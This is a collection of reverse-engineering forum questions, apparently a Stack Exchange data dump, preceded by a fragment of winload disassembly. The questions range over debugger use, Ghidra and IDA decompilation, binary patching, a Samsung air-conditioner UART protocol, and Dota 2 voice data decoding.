+00893e63 ff5604          call    dword ptr [esi+4]
+00893e66 85c0            test    eax,eax
+00893e68 0f8440ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e6e 8d4dc8          lea     ecx,[ebp-38h]
+00893e71 8bd7            mov     edx,edi
+00893e73 51              push    ecx
+00893e74 8d4df8          lea     ecx,[ebp-8]
+00893e77 51              push    ecx
+00893e78 50              push    eax
+00893e79 8bce            mov     ecx,esi
+00893e7b e87e330000      call    winload!CmpValueToData (008971fe)
+00893e80 8bf8            mov     edi,eax
+00893e82 8d45d0          lea     eax,[ebp-30h]
+00893e85 50              push    eax
+00893e86 56              push    esi
+00893e87 897ddc          mov     dword ptr [ebp-24h],edi
+00893e8a ff5608          call    dword ptr [esi+8]
+00893e8d 85ff            test    edi,edi
+00893e8f 0f8419ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e95 8b55f8          mov     edx,dword ptr [ebp-8]
+00893e98 33c9            xor     ecx,ecx
+00893e9a 33c0            xor     eax,eax
+00893e9c 668955da        mov     word ptr [ebp-26h],dx
+00893ea0 66894dd8        mov     word ptr [ebp-28h],cx
+00893ea4 663bc2          cmp     ax,dx
+00893ea7 7322            jae     winload!CmpFindNLSData+0x2bb (00893ecb)
+00893ea9 8b75f0          mov     esi,dword ptr [ebp-10h]
+00893eac 33db            xor     ebx,ebx
+00893eae 0fb7c1          movzx   eax,cx
+00893eb1 d1e8            shr     eax,1
+00893eb3 66391c47        cmp     word ptr [edi+eax*2],bx
+00893eb7 740c            je      winload!CmpFindNLSData+0x2b5 (00893ec5)
+00893eb9 6603ce          add     cx,si
+00893ebc 66894dd8        mov     word ptr [ebp-28h],cx
+00893ec0 663bca          cmp     cx,dx
+00893ec3 72e9            jb      winload!CmpFindNLSData+0x29e (00893eae)
+00893ec5 8b75ec          mov     esi,dword ptr [ebp-14h]
+00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]
+00893ecb 6a36            push    36h
+00893ecd 58              pop     eax
+00893ece 663907          cmp     word ptr [edi],ax
+00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
+00893ed4 0f8496000000    je      winload!CmpFindNLSData+0x360 (00893f70)
+00893eda 8d45e0          lea     eax,[ebp-20h]
+00893edd 50              push    eax
+00893ede ff75f4          push    dword ptr [ebp-0Ch]
+00893ee1 56              push    esi
+00893ee2 ff5604          call    dword ptr [esi+4]
+00893ee5 85c0            test    eax,eax
+00893ee7 0f84b9feffff    je      winload!CmpFindNLSData+0x196 (00893da6)
+00893eed 8d4dd8          lea     ecx,[ebp-28h]
+00893ef0 8bd0            mov     edx,eax
+00893ef2 51              push    ecx
+00893ef3 8bce            mov     ecx,esi
+00893ef5 e88c310000      call    winload!CmpFindValueByName (00897086)
+00893efa 894508          mov     dword ptr [ebp+8],eax
+00893efd 8d45c8          lea     eax,[ebp-38h]
+00893f00 50              push    eax
+00893f01 56              push    esi
+00893f02 ff5608          call    dword ptr [esi+8]
+00893f05 8d45e0          lea     eax,[ebp-20h]
+00893f08 50              push    eax
+00893f09 56              push    esi
+00893f0a ff5608          call    dword ptr [esi+8]
+00893f0d 8b4508          mov     eax,dword ptr [ebp+8]
+00893f10 83f8ff          cmp     eax,0FFFFFFFFh
+00893f13 0f8495feffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893f19 8d4dd0          lea     ecx,[ebp-30h]
+00893f1c 51              push    ecx
+00893f1d 50              push    eax
+00893f1e 56              push    esi
+00893f1f ff5604          call    dword ptr [esi+4]
+00893f22 85c0            test    eax,eax
+00893f24 0f8484feffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893f2a 8b5508          mov     edx,dword ptr [ebp+8]
+00893f2d 8d4dc0          lea     ecx,[ebp-40h]
+00893f30 51              push    ecx
+00893f31 8d4df8          lea     ecx,[ebp-8]
+00893f34 51              push    ecx
+00893f35 50              push    eax
+00893f36 8bce            mov     ecx,esi
+00893f38 e8c1320000      call    winload!CmpValueToData (008971fe)
+00893f3d 894704          mov     dword ptr [edi+4],eax
+00893f40 85c0            test    eax,eax
+00893f42 7408            je      winload!CmpFindNLSData+0x33c (00893f4c)
+00893f44 8d45c0          lea     eax,[ebp-40h]
+00893f47 50              push    eax
+00893f48 56              push    esi
+00893f49 ff5608          call    dword ptr [esi+8]
+00893f4c 8d45d0          lea     eax,[ebp-30h]
+00893f4f 50              push    eax
+00893f50 56              push    esi
+00893f51 ff5608          call    dword ptr [esi+8]
+00893f54 33c9            xor     ecx,ecx
+00893f56 394f04          cmp     dword ptr [edi+4],ecx
+00893f59 0f844ffeffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893f5f 8b45f8          mov     eax,dword ptr [ebp-8]
+00893f62 66894702        mov     word ptr [edi+2],ax
+00893f66 668907          mov     word ptr [edi],ax
+00893f69 394de8          cmp     dword ptr [ebp-18h],ecx
+00893f6c 7412            je      winload!CmpFindNLSData+0x370 (00893f80)
+00893f6e eb02            jmp     winload!CmpFindNLSData+0x362 (00893f72)
+00893f70 33c9            xor     ecx,ecx
+00893f72 33c0            xor     eax,eax
+00893f74 894b04          mov     dword ptr [ebx+4],ecx
+00893f77 668903          mov     word ptr [ebx],ax
+00893f7a 894f04          mov     dword ptr [edi+4],ecx
+00893f7d 668907          mov     word ptr [edi],ax
+00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]
+00893f83 b001            mov     al,1
+00893f85 6a14            push    14h
+00893f87 5a              pop     edx
+00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)
+00893f8f 66895102        mov     word ptr [ecx+2],dx
+00893f93 668911          mov     word ptr [ecx],dx
+00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0)
+00893f9b cc              int     3
+
+" +"['windows', 'c++', 'thread']"," Title: Watching a TLS Slot value in x64dbgBody: I am new to reverse engineering and I was trying to debug why a 3rd party application was crashing when I m injecting my DLL in it. (There are some cases where it didn't crash) +So I was able to figure out from a set of instructions/subroutine where the application was throwing an error. There is was able to figure out that it was probably getting a null pointer for some TLS value. +Here is my question w.r.t to this problem +I want to break/notify my debugger whenever a value is getting changed at that given TLS slot. +I'll add the ASM to make better sense, This is the disassembly of kernel32!TlsGetValue. I want to watch the TLS slots for the given thread. To put it in simple words I want to add watcher for GS:[0x1480] +Does anyone have any idea how to do it x64dbg? + +" +"['x86', 'arm', 'qemu', 'emulation']"," Title: Emulator that emulates arm hardwareBody: I want to hook arm instructions as they executes but most of the emulators are based on VirtualBox that uses houdini to translate arm instructions to x86, and i really can't hook a native JNI lib, moreover I'm doing a instruction trace please suggest a emulator that does it. +" +"['ida', 'apk']"," Title: How does Andriod .so files Reverse Engineering with a dissasembler like IDA pro and Cutter workBody: So few days ago going through youtube Reverse Engineering videos, i came across a particular video where an android application was modified using IDA pro by disassembling it's .so file found in /lib directory in every android app. +This is the link to the video +https://m.youtube.com/watch?v=m-t-jFBy7FE +I was further curious as i have never seen anyone modify an android App from the .so file usually when we talk of reversing android apps we use tools like Apktool, Dex2jar, jd-gui and so on. +What kind of Reverse Engineering is this and what exactly is going on??? +Someone please shed some light on this topic. i've been confused for days. +" +"['ida', 'idapython', 'idapro-sdk', 'ida-plugin']"," Title: Get current file name with IDApythonBody: I am running my IDA script on many files (batching), and i need to get the file name the script is running on within the script. the problem is i cannot find any API that does that. +the closest things i found was GetIdbDir(), which doesn't include the file name, also there seems to be a get_path function in ida_loader, but it expects a c type pointer, when i gave it a python string it failed. +" +"['decompilation', 'ghidra']"," Title: How to make Ghidra recognize bit fields?Body: Suppose we have the following C source: +
typedef struct {
+  int bit0 : 1;
+  int bit1 : 1;
+  int bit2 : 1;
+  int bit3 : 1;
+} bit_struct;
+
+bit_struct a;
+
+void setBit3()
+{
+  a.bit3 = 1;
+}
+
+When we compile it and open the result in Ghidra, the decompilation window shows +
void setBit3(void)
+{
+  a = a | 8;
+  return;
+}
+
+If we give Ghidra the declaration of bit_struct (using File -> Parse C Source), and then go to the location of a and set its data type to bit_struct, the decompilation changes to +
a = (bit_struct)((byte)a | 8);
+
+which still doesn't access bit3 by declared name. +How can we make Ghidra properly decompile it? +" +"['assembly', 'x86', 'x86-64']"," Title: how to does this instruction work: `mov qword ptr [rbp-0x30], 0x4020c5`Body: The following is the code snippet (shown partially) I have: +
q = strrchr(resolved, '/');     /* given /home/misha/docs.txt, q now pts to the last slash */
+    if (q != NULL) {
+      p = q + 1;                   /* p points to docs.txt */
+
+      if (q == resolved)
+        q = "/";
+      else {
+        do {
+          --q;
+        } while (q > resolved && *q == '/');
+
+The generated output with -S flag using objdump: +
401789:       e8 7a fb ff ff          call   401308 <strrchr>
+  40178e:       48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax
+    if (q != NULL) {
+  401792:       48 83 7d d0 00          cmp    QWORD PTR [rbp-0x30],0x0
+  401797:       0f 84 12 01 00 00       je     4018af <fb_realpath+0x22d>
+      p = q + 1;                   /* p points to docs.txt */
+  40179d:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]
+  4017a1:       48 83 c0 01             add    rax,0x1
+  4017a5:       48 89 45 d8             mov    QWORD PTR [rbp-0x28],rax
+
+      if (q == resolved)
+  4017a9:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]
+  4017ad:       48 3b 85 e0 fe ff ff    cmp    rax,QWORD PTR [rbp-0x120]
+  4017b4:       75 0a                   jne    4017c0 <fb_realpath+0x13e>
+        q = "/";
+  4017b6:       48 c7 45 d0 c5 20 40    mov    QWORD PTR [rbp-0x30],0x4020c5
+  4017bd:       00
+  4017be:       eb 33                   jmp    4017f3 <fb_realpath+0x171>
+      else {
+        do {
+          --q;
+  4017c0:       48 83 6d d0 01          sub    QWORD PTR [rbp-0x30],0x1
+        } while (q > resolved && *q == '/');
+  4017c5:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]
+  4017c9:       48 3b 85 e0 fe ff ff    cmp    rax,QWORD PTR [rbp-0x120]
+  4017d0:       76 0b                   jbe    4017dd <fb_realpath+0x15b>
+  4017d2:       48 8b 45 d0             mov    rax,QWORD PTR [rbp-0x30]
+  4017d6:       0f b6 00                movzx  eax,BYTE PTR [rax]
+  4017d9:       3c 2f                   cmp    al,0x2f
+  4017db:       74 e3                   je     4017c0 <fb_realpath+0x13e>
+
+Now, I have a question about q = "/"; instruction. q is defined as a char* and as seen from this examples, it contains a value returned by strrchr fucntion. Then it is assigned to a string - q = "/"; further in the code. Now, the instruction which represents that in assembly is - mov QWORD PTR [rbp-0x30],0x4020c5. I have very hard time understanding this instruction. Now, my understanding is that, it supposed to move the string "/" to the location pointed by q. But how does it know the location pointed by q? i.e. rbp-0x30 is a location on the stack where q is stored. And this location is supposed to contain the address of the object where q is pointing. But, I interpret mov QWORD PTR [rbp-0x30],0x4020c5 as move string 0x4020c5 to rbp-0x30 i.e. the address of q. That is where I am confused as that location is supposed to contain the address and not the string. +Thanks for reading and your help is appreciated. +" +['patching']," Title: je change to jne and program issueBody: I am new to forum and new to programming (total noob). +I am trying to modify a program using ollydbg and x32dbg and while attached to file I make the changes fine and it does what I expected. +My problem is saving the changes to file or patching in x32dbg does not work. +The second I make changes and save/patch I then rename original and move patched version into place and try to run the problems start. +First Windows 10 stops the file from running and at same time my malware and virus protection quarantines the file. +I know ollydgb and x32dbg are safe as I have used them before and my system is clean. +So is it because I did not disassemble the program first? +Or could the program have some sort of code that detected the changes made and then kills the program? +Thanks +Gren +" +"['hardware', 'serial-communication', 'protocol', 'packet']"," Title: Reverse UART communication protocolBody: I'm objective is to build a custom wifi module to be used on a Samsung AC AR24HSFSAWKN. I have such an official module SWL-B70F for which I'm trying to reverse engineer the communication with the main AC board. It's just for the challenge and my first attempt on such hack. +
+From the AC manual I have identified the following pinout: +
CN51 - WI-FI MODULE
+#1 : WIFI UART SIGNAL1
+#2 : WIFI UART SIGNAL2
+#3 : WIFI RESET SIGNAL
+#4 : GND
+#5 : DC 12V
+#6 : N.C
+
+Once module was disassembled, I found inside an arm board and a second one which I identified to be a step-down regulator (12V -> 5V). On the regulator board, I've hooked some wires to the UART lines + GND to 2 ftdi cables on their RX pin, so I can dump the frames in both directions. I've booted the device several times with different tty baud rates. I think 9600 bauds is the right one as other did not gave nice patterns. Now I end with the exchanges bellow. I found some common patterns. I suppose frames start with d0 (or d0c002) and ends with e0. There seems to have a message counter, a fixed separator, a payload, and a checksum: <start> <????> <counter> <sep?> <payload> <CheckSum8 Xor> <end>. When a message is sent, a similar message is sent on the other line, probably a ack message. +I can send xml commands via the actual wifi module. As a test, I send a OFF command, wich resulted in the following exchanges: +OFF Command: +
# try 1
+-> d0c002 12 000000000038 fe 1204060201f074010f 5f e0
+<- d0c002 12 000000000038 fe 1205060201f074010f 5e e0
+
+# try 2
+-> d0c002 12 000000000047 fe 1204060201f074010f 20 e0
+<- d0c002 12 000000000047 fe 1205060201f074010f 21 e0
+
+# try 3
+-> d0c002 12 000000000058 fe 1204060201f074010f 3f e0
+<- d0c002 12 000000000058 fe 1205060201f074010f 3e e0
+
+Another possible command is to get DeviceState, which return the following XML (but did not triggered any exchange with main board, I suppose the values are stored in the wifi module upon initialization): +
?xml version="1.0" encoding="utf-8" ?> 
+<Response Type="DeviceState" Status="Okay"> 
+  <DeviceState> 
+    <Device DUID="F8042ED83EA0" GroupID="AC" ModelID="AC" > 
+      <Attr ID="AC_FUN_ENABLE" Type="RW" Value="Enable"/> 
+      <Attr ID="AC_FUN_POWER" Type="RW" Value="Off"/> 
+      <Attr ID="AC_FUN_OPMODE" Type="RW" Value="Auto"/> 
+      <Attr ID="AC_FUN_TEMPSET" Type="RW" Value="21"/> 
+      <Attr ID="AC_FUN_COMODE" Type="RW" Value="Off"/> 
+      <Attr ID="AC_FUN_ERROR" Type="RW" Value="NULL"/> 
+      <Attr ID="AC_FUN_TEMPNOW" Type="R" Value="23"/> 
+      <Attr ID="AC_FUN_SLEEP" Type="RW" Value="0"/> 
+      <Attr ID="AC_FUN_WINDLEVEL" Type="RW" Value="Auto"/> 
+      <Attr ID="AC_FUN_DIRECTION" Type="RW" Value="Fixed"/> 
+      <Attr ID="AC_ADD_AUTOCLEAN" Type="RW" Value="Off"/> 
+      <Attr ID="AC_ADD_SETKWH" Type="RW" Value="255"/> 
+      <Attr ID="AC_ADD_CLEAR_FILTER_ALARM" Type="RW" Value="240"/> 
+      <Attr ID="AC_ADD_APMODE_END" Type="W" Value="0"/> 
+      <Attr ID="AC_ADD_STARTWPS" Type="RW" Value="Default"/> 
+      <Attr ID="AC_ADD_SPI" Type="RW" Value="Off"/> 
+      <Attr ID="AC_OUTDOOR_TEMP" Type="R" Value="71"/> 
+      <Attr ID="AC_COOL_CAPABILITY" Type="R" Value="68"/> 
+      <Attr ID="AC_WARM_CAPABILITY" Type="R" Value="80"/> 
+      <Attr ID="AC_SG_WIFI" Type="W" Value="Connected"/> 
+      <Attr ID="AC_SG_INTERNET" Type="W" Value="Disconnected"/> 
+      <Attr ID="AC_ADD2_USEDWATT" Type="R" Value="65024"/> 
+      <Attr ID="AC_ADD2_VERSION" Type="RW" Value="65024"/> 
+      <Attr ID="AC_SG_MACHIGH" Type="W" Value="216"/> 
+      <Attr ID="AC_SG_MACMID" Type="W" Value="62"/> 
+      <Attr ID="AC_SG_MACLOW" Type="W" Value="160"/> 
+      <Attr ID="AC_SG_VENDER01" Type="W" Value="248"/> 
+      <Attr ID="AC_SG_VENDER02" Type="W" Value="4"/> 
+      <Attr ID="AC_SG_VENDER03" Type="W" Value="46"/> 
+      <Attr ID="AC_ADD2_PANEL_VERSION" Type="R" Value="150224"/> 
+      <Attr ID="AC_ADD2_OUT_VERSION" Type="R" Value="1246985"/> 
+      <Attr ID="AC_FUN_MODEL" Type="R" Value="5"/> 
+      <Attr ID="AC_ADD2_OPTIONCODE" Type="R" Value="53432"/> 
+      <Attr ID="AC_ADD2_USEDPOWER" Type="R" Value="58933"/> 
+      <Attr ID="AC_ADD2_USEDTIME" Type="R" Value="265675"/> 
+      <Attr ID="AC_ADD2_CLEAR_POWERTIME" Type="RW" Value="254"/> 
+      <Attr ID="AC_ADD2_FILTERTIME" Type="RW" Value="500"/> 
+      <Attr ID="AC_ADD2_FILTER_USE_TIME" Type="R" Value="10000"/> 
+    </Device> 
+  </DeviceState> 
+</Response> 
+
+Some values are present in the boot log, such as AC_ADD2_USEDTIME, AC_ADD2_OPTIONCODE, AC_ADD2_USEDPOWER, AC_ADD2_FILTER_USE_TIME => +d0c002 39 000000000009 fe 14032d3201fef601fef403150224f303130709f501053902 d0b8(AC_ADD2_OPTIONCODE) e0040000 e635 e404000 40dcb(AC_ADD2_USEDPOWER) e801fee90103e602 2710(AC_ADD2_FILTER_USE_TIME) 93 e0 +The frame may be split as: +
14032d3201fef601fef403150224f303130709f50105
+3902 d0b8 
+e004 0000e635 
+e404 00040dcb
+e801 fee90103
+e602 2710
+
+e004, e404, e602 could probably be some field header? +The checksum is CheckSum8 Xor of the first bytes: d0c00212000000000047fe1204060201f074010f -> 20 +Also the first exchange (0000 / 00fc) never showed again, so it should be some sort of handshake. +Next I'll try to remove the wifi module, and replay the communication with it, simulating the AC. +
+Questions: +
    +
  1. Are my methodology and assumptions valid?
  2. +
  3. What could be the second field in the frame (unique values seems to be 0f 12 18 1c 1e 22 30)?
  4. +
  5. Am I splitting the frames correctly?
  6. +
  7. Do you have some advises on how to decode the remaining messages and reverse the full protocol?
  8. +
  9. Does it looks like something known elsewhere?
  10. +
  11. Any other tip :)
  12. +
+Thanks a lot! +
+The full boot log: +
#-> WIFI TO AC
+#<- AC TO WIFI
+
+-> 00fc
+<- 0000
+-> d0c002 12 000000000000 fe 12040601010f7401f0 64 e0
+<- d0c002 12 000000000000 fe 12050601010f7401f0 65 e0
+-> d0c002 18 000000000001 fe 14040c170115180105190127fd0102 37 e0
+<- d0c002 18 000000000001 fe 14050c170115180105190127fd0102 36 e0
+-> d0c002 1e 000000000002 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 6d e0
+<- d0c002 1e 000000000002 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 6c e0
+-> d0c002 18 000000000003 fe 14040c170115180105190127fd0102 35 e0
+<- d0c002 18 000000000003 fe 14050c170115180105190127fd0102 34 e0
+-> d0c002 1e 000000000004 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 6b e0
+<- d0c002 1e 000000000004 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 6a e0
+-> d0c002 18 000000000005 fe 14040c170115180105190127fd0102 33 e0
+<- d0c002 18 000000000005 fe 14050c170115180105190127fd0102 32 e0
+-> d0c002 1e 000000000006 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 69 e0
+<- d0c002 1e 000000000006 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 68 e0
+-> d0c002 30 000000000006 fe 1207240201f04101324301e24401126201006301c2ea01fe5a01155c0117730100f70400000000 ce e0
+<- d0c002 30 000000000006 fe 1206240201f04101324301e24401126201006301c2ea01fe5a01155c0117730100f70400000000 cf e0
+-> d0c002 1c 000000000008 fe 13021032004000440043007500760077007800 80 e0
+<- d0c002 26 000000000008 fe 13031a3201234001ff4401f043010f7501f07601497702004478020050 3f e0
+-> d0c002 22 000000000009 fe 1402163200f600f400f300f5003900 e000e400e800e900e600 2b e0
+<- d0c002 39 000000000009 fe 14032d3201fef601fef403150224f303130709f501053902d0b8e0040000e635e40400040dcbe801fee90103e6022710 93 e0
+-> d0c002 0f 00000000000a fe 14040337010f c3 e0
+<- d0c002 0f 00000000000a fe 14050337010f c2 e0
+-> d0c002 18 00000000000b fe 14040c170115180105190127fd0102 3d e0
+<- d0c002 18 00000000000b fe 14050c170115180105190127fd0102 3c e0
+-> d0c002 22 00000000000c fe 1402163200f600f400f300f5003900 e000e400e800e900e600 2e e0
+<- d0c002 39 00000000000c fe 14032d3201fef601fef403150224f303130709f501053902d0b8e0040000e635e40400040dcbe801fee90103e6022710 96 e0
+-> d0c002 1e 00000000000d fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 62 e0
+<- d0c002 1e 00000000000d fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 63 e0
+-> d0c002 0f 00000000000e fe 1404033801f0 37 e0
+<- d0c002 0f 00000000000e fe 1405033801f0 36 e0
+-> d0c002 0f 00000000000f fe 14040337010f c6 e0
+<- d0c002 0f 00000000000f fe 14050337010f c7 e0
+-> d0c002 0f 000000000010 fe 14040337010f d9 e0
+<- d0c002 0f 000000000010 fe 14050337010f d8 e0
+-> d0c002 18 000000000011 fe 14040c170115180105190127fd0102 27 e0
+<- d0c002 18 000000000011 fe 14050c170115180105190127fd0102 26 e0
+-> d0c002 1e 000000000012 fe 140412fa01f8fb0104fc012ef701d8f8013ef901a0 7d e0
+<- d0c002 1e 000000000012 fe 140512fa01f8fb0104fc012ef701d8f8013ef901a0 7c e0
+-> d0c002 0f 000000000013 fe 1404033801f0 2a e0
+<- d0c002 0f 000000000013 fe 1405033801f0 2b e0
+-> d0c002 0f 000000000014 fe 14040337010f dd e0
+<- d0c002 0f 000000000014 fe 14050337010f dc e0
+-> d0c002 0f 000000000015 fe 1404033801f0 2c e0
+<- d0c002 0f 000000000015 fe 1405033801f0 2d e0
+-> d0c002 0f 000000000016 fe 14040337010f df e0
+<- d0c002 0f 000000000016 fe 14050337010f de e0
+-> d0c002 0f 000000000017 fe 1404033801f0 2e e0
+<- d0c002 0f 000000000017 fe 1405033801f0 2f e0
+-> d0c002 0f 000000000018 fe 14040337010f d1 e0
+<- d0c002 0f 000000000018 fe 14050337010f d0 e0
+-> d0c002 0f 000000000019 fe 1404033801f0 20 e0
+<- d0c002 0f 000000000019 fe 1405033801f0 21 e0
+-> d0c002 0f 00000000001a fe 14040337010f d3 e0
+<- d0c002 0f 00000000001a fe 14050337010f d2 e0
+
+ + +" +['function-hooking']," Title: What's the way to find a function on a unity game and how I call it after I find?Body: I'm a newbye, so sorry for the basic questions, before anyone downvote the question. +I'm Learning reverse engineering, I've already learned assembly for mips on the computer science underdegree and I know the basic about computer architeture. +I'm trying to make a macro bot for doing simple tasks on a unity game called pokemon trading card game online. It seens it ways built on unity 2018.4.11. +I know I have to find the functions that call what I want, but don't know how to do it and what to do after this. The tutorials are very confusing on this area. +So being objective, can anyone help me what I have to search and what I have to do with what I found, like, if I'm trying to find the function that calls the button to start a play, how can I call it after I found it? +Thank you very much? +" +"['x86', 'decompilation', 'static-analysis', 'ghidra', 'dynamic-analysis']"," Title: Is manually converting/decompiling x86 source code to C/C++/etc... considered reverse engineering?Body: I have the source code of an old program written in 32-bit x86 assembler that I am working on manually rewriting in C. +The first time someone asked me about this project I told them I was 'reverse engineering' this code. But I thought to myself afterwards, am I really doing any reverse engineering here? even if I have the source code? and even if its in x86? and commented somewhat? +I mean I am still using the same re tools to help me navigate and understand this thing but even so, is 'reverse engineering' the right thing to say? +I am perhaps overthinking this but in any case, what would you call it? +" +"['ida', 'hexrays', 'x86-64']"," Title: What does xchg means when accessing array element?Body: I have ASM code of some Windows *.exe in IDA: +
mov     rax, [rbx+10h]
+mov     ecx, edx
+xor     edx, edx
+xchg    rdx, [rax+rcx*8]
+
+Which is decompiled to pseudocode to +
_RAX = this->m_someMemoryPool;
+_RCX = v4;
+_RDX = 0i64;
+__asm { xchg    rdx, [rax+rcx*8] }
+
+If there won't be any memory barries, code would look like this +
void* _RDX = m_someMemoryPool[v4];
+
+But I'm wondering, what does xchg means here. Is it equivalent to +
void* _RDX = NULL;
+InterlockedExchange(&_RDX, m_someMemoryPool[v4]);
+
+? Or there is more complicated synchronization construction should be used? +" +"['debugging', 'lldb']"," Title: Append to environment variable in LLDBBody: It is relatively easy to set environment variables in LLDB, via +
settings set target.env-vars DEBUG=1
+
+However, I can't seem to find a way to append to an environment variable. The following doesn't work: +
(lldb) settings set target.env-vars DEBUG=1
+(lldb) settings set target.env-vars DEBUG=2$DEBUG
+(lldb) settings show target.env-vars DEBUG
+target.env-vars (dictionary of strings) =
+  DEBUG=2$DEBUG
+
+" +"['windows', 'debugging', 'malware', 'thread']"," Title: Ways of creating a new thread on WindowsBody: I'd like to know about every possible way how a thread can be created in a process at the lowest possible level. +There are loads of WinAPI-s to create a thread, but as far as I know all of them ends in either NtCreateThread or NtCreateThreadEx. For eg if I put a breakpoint on these two and I suppose they aren't removed and the target is not using direct syscalls, can I assume that I can SAFELY catch EVERY single try of creating a new thread from that process? I know, debuggers have a feature of breaking on new threads, but this time I'd like to catch the moment before the creation. +I also know about that one can call any form of CreateRemoteThread externally, but is there any reasons why a clean OS would do so? +So, for example if I suspend all the threads of a process, is there anything that would "legally" start a thread in the process, which could theoretically find out that I'm messing with the process? For example if something would start an internal ntdll function, or a timed callback which starts a new thread (I don't know if it's possible, just brainstorming) - if it was hooked, a malware could actually redirect code execution to its own code which may detect things. +I don't care about any software like an anti-virus or apparently any external malware trying to run its own code, I'm curious if the OS would do so in any situation or by forcing it? +I know that various cases may happen, my target malware may write into external processes which may be able to resume the original process or create a new thread in it, or even more advanced things, but I'd like to gradually check for possibilities and also improve my knowledge on Nt internals :) +" +['decryption']," Title: Turning an unknown audio data stream into wav or similar formatBody: I am trying to get the commentary (casters voice) from a dota2 game file. I've managed to parse the game file and select what I believe is the voice data. This is in a weird format (CSVCMsg_VoiceData) which has the following struc: +
type CSVCMsg_VoiceData struct {
+Client                   *int32            `protobuf:"varint,1,opt,name=client" json:"client,omitempty"`
+Proximity                *bool             `protobuf:"varint,2,opt,name=proximity" json:"proximity,omitempty"`
+Xuid                     *uint64           `protobuf:"fixed64,3,opt,name=xuid" json:"xuid,omitempty"`
+AudibleMask              *int32            `protobuf:"varint,4,opt,name=audible_mask" json:"audible_mask,omitempty"`
+VoiceData                []byte            `protobuf:"bytes,5,opt,name=voice_data" json:"voice_data,omitempty"`
+Caster                   *bool             `protobuf:"varint,6,opt,name=caster" json:"caster,omitempty"`
+Format                   *VoiceDataFormatT `protobuf:"varint,7,opt,name=format,enum=VoiceDataFormatT,def=1" json:"format,omitempty"`
+SequenceBytes            *int32            `protobuf:"varint,8,opt,name=sequence_bytes" json:"sequence_bytes,omitempty"`
+SectionNumber            *uint32           `protobuf:"varint,9,opt,name=section_number" json:"section_number,omitempty"`
+UncompressedSampleOffset *uint32           `protobuf:"varint,10,opt,name=uncompressed_sample_offset" json:"uncompressed_sample_offset,omitempty"`
+XXX_unrecognized         []byte            `json:"-"`
+
+} +This seems to work when reading the data. Logically I'm probably looking for the VoiceData part of the struct when given this: +"format":0,"voice_data":"uz+ACgEAEAELgD4EQgEWAKV4mxnepfmhxKCQxAnKVNaHhKRXPIsmAH5RjXmJV0u+WTmrvgyCKxcraehjo/ZeKcFjksXQZEeOju4hLNv/MAB9KA7ww14Vc0ndYPB7dDXoXTexuxcW0Jg/diMgdH5ijWhe02Ch48KX86qJZYFyZV81AH76qCgh9AXliMdyWEgWTMbRD6xMX37WJALrXlSnxymIloSq2KGwXCcMXzQiSQIrcLVNfqdNJACCluFOIRKPmugUvsLZmnD04X0xhpAuNkwJECK4t51MBOWNWJlCAIDyZlJwWI45EPTjBB6yKyGOclu96qBV2MhFAh1d2J7WDZwe6YxOVu/BGkGcur9qTP85ZRfjANoiQxQrWvpoHFBFBy0AfX6k8XvbSwrk2nUAEP3P6kcmXORKUNKeu8HDnOUflQqtA5AkkTiun77fZrqnimIfWg==","sequence_bytes":23598094,"section_number":1,"sample_rate":16000 +I'm able to pull the voice data out like so: +uz+ACgEAEAELgD4EQgEWAKV4mxnepfmhxKCQxAnKVNaHhKRXPIsmAH5RjXmJV0u+WTmrvgyCKxcraehjo/ZeKcFjksXQZEeOju4hLNv/MAB9KA7ww14Vc0ndYPB7dDXoXTexuxcW0Jg/diMgdH5ijWhe02Ch48KX86qJZYFyZV81AH76qCgh9AXliMdyWEgWTMbRD6xMX37WJALrXlSnxymIloSq2KGwXCcMXzQiSQIrcLVNfqdNJACCluFOIRKPmugUvsLZmnD04X0xhpAuNkwJECK4t51MBOWNWJlCAIDyZlJwWI45EPTjBB6yKyGOclu96qBV2MhFAh1d2J7WDZwe6YxOVu/BGkGcur9qTP85ZRfjANoiQxQrWvpoHFBFBy0AfX6k8XvbSwrk2nUAEP3P6kcmXORKUNKeu8HDnOUflQqtA5AkkTiun77fZrqnimIfWg== +However this is where I'm hitting a bit of a wall. This data is in an unknown format. I've tried to do some research on what the format might be and I've found that steam started using SILK codec for voice data in 2011 - however when trying to write this data to file and open it with opus (which I believe supports SILK) the opus decoder tells me it can't open the file - so I'm not 100% convinced it is silk codec. Recognising audio data isn't something I have a great deal of experience with - so any advice would be great. +I have noticed there's a VoiceDataFormatT part of the struct but the only definition I can find for it is this: +
type VoiceDataFormatT int32
+
